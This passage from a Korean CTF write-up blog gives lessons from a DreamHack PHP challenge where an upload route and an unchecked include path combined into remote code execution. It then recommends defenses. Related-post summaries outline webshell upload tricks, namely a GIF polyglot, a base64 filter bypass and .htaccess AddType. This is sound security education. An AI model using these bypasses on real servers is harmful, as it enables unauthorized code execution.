  • ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋Š” ํ•ญ์ƒ "๋ฌด์—‡์„ ๊ฒ€์‚ฌํ•˜๋Š”๊ฐ€"๊นŒ์ง€ ๋ช…์‹œํ•ด์•ผ ํ•œ๋‹ค. pathinfo($name, PATHINFO_EXTENSION) === 'md'๋Š” ํŒŒ์ผ ์ด๋ฆ„์˜ ํ™•์žฅ์ž๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ๊ทœ์น™์ด์ง€, ํŒŒ์ผ ๋‚ด์šฉ์ด ์‹ค์ œ๋กœ ๋งˆํฌ๋‹ค์šด์ธ์ง€ ๊ฒ€์‚ฌํ•˜๋Š” ๊ทœ์น™์ด ์•„๋‹ˆ๋‹ค. ์—…๋กœ๋“œ ๊ฒ€์ฆ์„ "ํ™•์žฅ์ž ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ"๋งŒ์œผ๋กœ ๋๋‚ด๋ฉด, ๊ทธ ํŒŒ์ผ์ด ๋‚˜์ค‘์— ์–ด๋–ป๊ฒŒ ์†Œ๋น„๋˜๋Š”์ง€์— ๋”ฐ๋ผ ์–ธ์ œ๋“  ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋Š” ์—ฌ์ง€๊ฐ€ ๋‚จ๋Š”๋‹ค.
  • include()/require()์— ๋„˜๊ธฐ๋Š” ๊ฒฝ๋กœ๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํ•œ ๊ธ€์ž๋ผ๋„ ์„ž์ด๋Š” ์ˆœ๊ฐ„ ํ•ญ์ƒ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋กœ ์ œํ•œํ•ด์•ผ ํ•œ๋‹ค. ์ด ํ”„๋กœ์ ํŠธ๋Š” ์ด๋ฏธ edit.php/save.php์—์„œ realpath() + strpos() ํŒจํ„ด์œผ๋กœ ์ •๋‹ต์— ๊ฐ€๊นŒ์šด ๊ฒ€์ฆ์„ ํ•ด๋‘๊ณ  ์žˆ์—ˆ๋‹ค โ€” ๋ฌธ์ œ๋Š” ๊ทธ ๊ฒ€์ฆ์„ post_handler.php ๋‹จ ํ•œ ๊ณณ์—์„œ ๋น ๋œจ๋ฆฐ ๊ฒƒ๋ฟ์ด์—ˆ๋‹ค. ๊ฐ™์€ ํ”„๋กœ์ ํŠธ ์•ˆ์— ์„œ๋กœ ๋‹ค๋ฅธ ๊ธฐ์ค€์œผ๋กœ ๊ฐ™์€ ์ข…๋ฅ˜์˜ ์ž…๋ ฅ์„ ๋‹ค๋ฃจ๋Š” ์ฝ”๋“œ๊ฐ€ ์—ฌ๋Ÿฌ ๊ณณ ์žˆ๋‹ค๋ฉด, ๊ทธ์ค‘ ํ•˜๋‚˜๋งŒ ์˜ˆ์™ธ๋ผ๋„ ์ „์ฒด ๋ฐฉ์–ด์„ ์ด ๋šซ๋ฆฐ๋‹ค.
  • ์—…๋กœ๋“œ ๊ธฐ๋Šฅ๊ณผ include/require ๊ธฐ๋Šฅ์€ ๋”ฐ๋กœ ๋ณด๋ฉด ์•ˆ์ „ํ•ด ๋ณด์—ฌ๋„ ํ•ฉ์ณ์ง€๋ฉด RCE๊ฐ€ ๋œ๋‹ค. ์—…๋กœ๋“œ ๋ผ์šฐํŠธ๋ฅผ ๊ฐ์‚ฌํ•  ๋• "์ด ํŒŒ์ผ์ด ๋‚˜์ค‘์— ์–ด๋–ป๊ฒŒ ์—ด๋ฆฌ๋Š”๊ฐ€"๊นŒ์ง€, include ๋ผ์šฐํŠธ๋ฅผ ๊ฐ์‚ฌํ•  ๋• "์ด ๊ฒฝ๋กœ์— ์‚ฌ์šฉ์ž๊ฐ€ ๋งŒ๋“  ํŒŒ์ผ์ด ๋“ค์–ด์˜ฌ ์ˆ˜ ์žˆ๋Š”๊ฐ€"๊นŒ์ง€ ๊ฐ™์ด ๋ด์•ผ ํ•œ๋‹ค. ์ด๋ฒˆ ๋ฌธ์ œ์ฒ˜๋Ÿผ ๋‘ ๋ผ์šฐํŠธ๊ฐ€ ๋ฌผ๋ฆฌ์ ์œผ๋กœ ๋‹ค๋ฅธ ํŒŒ์ผ์— ์žˆ์œผ๋ฉด ์ด ์—ฐ๊ฒฐ๊ณ ๋ฆฌ๋ฅผ ๋†“์น˜๊ธฐ ๋” ์‰ฝ๋‹ค.
  • ํ™•์žฅ์ž ๊ธฐ๋ฐ˜ ํ•„ํ„ฐ๋ฅผ ์šฐํšŒ๋‹นํ•˜์ง€ ์•Š์œผ๋ ค๋ฉด ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์œ„์น˜์— ์ €์žฅ๋˜์ง€ ์•Š๊ฒŒ ํ•˜๊ฑฐ๋‚˜(์›น ๋ฃจํŠธ ๋ฐ”๊นฅ, ๋žœ๋ค ํŒŒ์ผ๋ช…, ์‹คํ–‰ ๊ถŒํ•œ ์ œ๊ฑฐ), ์• ์ดˆ์— ์‚ฌ์šฉ์ž ์—…๋กœ๋“œ ํŒŒ์ผ์„ include/require๋กœ ์ง์ ‘ ์—ฌ๋Š” ๊ตฌ์กฐ ์ž์ฒด๋ฅผ ํ”ผํ•ด์•ผ ํ•œ๋‹ค. ๋งˆํฌ๋‹ค์šด ๋ฏธ๋ฆฌ๋ณด๊ธฐ๊ฐ€ ์ง„์งœ ๋ชฉ์ ์ด๋ผ๋ฉด ์„œ๋ฒ„ ์ชฝ์—์„œ ๋งˆํฌ๋‹ค์šด ํŒŒ์„œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ํŒŒ์‹ฑํ•œ ๊ฒฐ๊ณผ๋งŒ ๋Œ๋ ค์ฃผ๊ณ , PHP๊ฐ€ ๊ทธ ํŒŒ์ผ์„ ์ฝ”๋“œ๋กœ์„œ ํ•ด์„ํ•  ๊ธฐํšŒ ์ž์ฒด๋ฅผ ์›์ฒœ์ ์œผ๋กœ ์ฐจ๋‹จํ•˜๋Š” ๊ฒŒ ๋งž๋Š” ์„ค๊ณ„๋‹ค.

flag ํŒŒ์ผ๋ช…์„ ๋นŒ๋“œ ์‹œ์ ์— ๋žœ๋คํ™”ํ•ด๋‘” ๊ฒƒ ์ž์ฒด๋Š” ๋‚˜์˜์ง€ ์•Š์€ ๋ฐฉ์–ด์˜€๋‹ค โ€” ์‹ค์ œ๋กœ ์ˆœ์ˆ˜ path traversal ์‹œ๋„๋ฅผ ํ™•์‹คํ•˜๊ฒŒ ๋ง‰์•„๋ƒˆ๋‹ค. ๋‹ค๋งŒ ๊ทธ ๋ฐฉ์–ด๋Š” "ํŒŒ์ผ์„ ์–ด๋””์„œ ์ฐพ์„์ง€ ๋ชจ๋ฅด๊ฒŒ ํ•˜๋Š”" ์ข…๋ฅ˜์˜ ๋ฐฉ์–ด์ผ ๋ฟ, ์• ์ดˆ์— ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์ด๋ผ๋Š” ๋” ํฐ ๊ตฌ๋ฉ์„ ๋ง‰์•„์ฃผ์ง„ ๋ชปํ–ˆ๋‹ค. ls / ํ•œ ์ค„์ด๋ฉด ๋žœ๋คํ™”๋Š” ๊ทธ๋ƒฅ ๋ฌด๋ ฅํ™”๋œ๋‹ค โ€” ์ด๋ฆ„์„ ์ˆจ๊ธฐ๋Š” ๊ฒƒ๊ณผ ์ ‘๊ทผ ์ž์ฒด๋ฅผ ๋ง‰๋Š” ๊ฒƒ์€ ๋‹ค๋ฅธ ๋ฌธ์ œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] GIF ํด๋ฆฌ๊ธ€๋ž์œผ๋กœ PHP ์›น์…ธ ์—…๋กœ๋“œ โ€” DreamHack Image Uploader ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] GIF ํด๋ฆฌ๊ธ€๋ž์œผ๋กœ PHP ์›น์…ธ ์—…๋กœ๋“œ โ€” DreamHack Image Uploader ํ’€์ด

ํ™•์žฅ์ž์™€ MIME ํƒ€์ž… ๊ฒ€์‚ฌ๋ฅผ AND(&&)๋กœ ๋ฌถ์€ ์—…๋กœ๋”๋‹ค. ๋‘˜ ์ค‘ ํ•˜๋‚˜๋งŒ ํ†ต๊ณผํ•˜๋ฉด ๋˜๋Š” ํ—ˆ์ ์ด๋ผ, GIF89a ๋งค์ง๋ฐ”์ดํŠธ๋ฅผ ์•ž์— ๋ถ™์ธ .php ํŒŒ์ผ์ด image/gif ๋กœ ์ธ์‹๋ผ ๊ทธ๋Œ€๋กœ ์—…๋กœ๋“œ๋œ๋‹ค. ์›น์…ธ์„ ์˜ฌ๋ ค RCE๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ๋Š” ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+6
2026-06-04#dreamhack +6
[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ includeํ•˜๋Š” PHP ์•ฑ์ธ๋ฐ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยทhpยท../์˜ base64 ์กฐ๊ฐ์ด ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค. flag.php์˜ ์ •์งํ•œ base64๋Š” ๊ทธ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ํ’ˆ๋Š”๋‹ค. ์•ž์— ./๋ฅผ ๋ถ™์—ฌ 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๋ฉด ์กฐ๊ฐ์ด ์ชผ๊ฐœ์ ธ ํ•„ํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ํ—›๋ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-12#dreamhack +5
[๐Ÿฅ‰ Bronze 3] ํ™•์žฅ์ž ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋น ๋œจ๋ฆฐ ํŒŒ์ผ๋ช… โ€” DreamHack Apache htaccess ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ํ™•์žฅ์ž ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋น ๋œจ๋ฆฐ ํŒŒ์ผ๋ช… โ€” DreamHack Apache htaccess ํ’€์ด

์—…๋กœ๋“œ ํ•„ํ„ฐ๋Š” php/php3/php4/php5/pht/phtml ํ™•์žฅ์ž๋งŒ ๋ง‰๋Š”๋‹ค. .htaccess๋ผ๋Š” "ํ™•์žฅ์ž ์—†๋Š”" ํŒŒ์ผ๋ช…์€ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๊ฑธ๋ฆฌ์ง€ ์•Š๊ณ , AllowOverride All์ธ ์„œ๋ฒ„๋Š” ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ์— ๋–จ์–ด์ง„ ๊ทธ .htaccess๋ฅผ ๊ทธ๋Œ€๋กœ ์ ์šฉํ•œ๋‹ค. AddType ํ•œ ์ค„๋กœ .jpg๋ฅผ PHP๋กœ ๋งŒ๋“ค์–ด ์›น์‰˜์„ ์˜ฌ๋ฆฌ๊ณ , ์‹คํ–‰ ์ „์šฉ flag ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ทธ ์›น์‰˜๋กœ ์‹คํ–‰์‹œ์ผœ flag๋ฅผ ๋ฐ›๋Š”๋‹ค.
#dreamhack#ctf#web+5
2026-07-07#dreamhack +5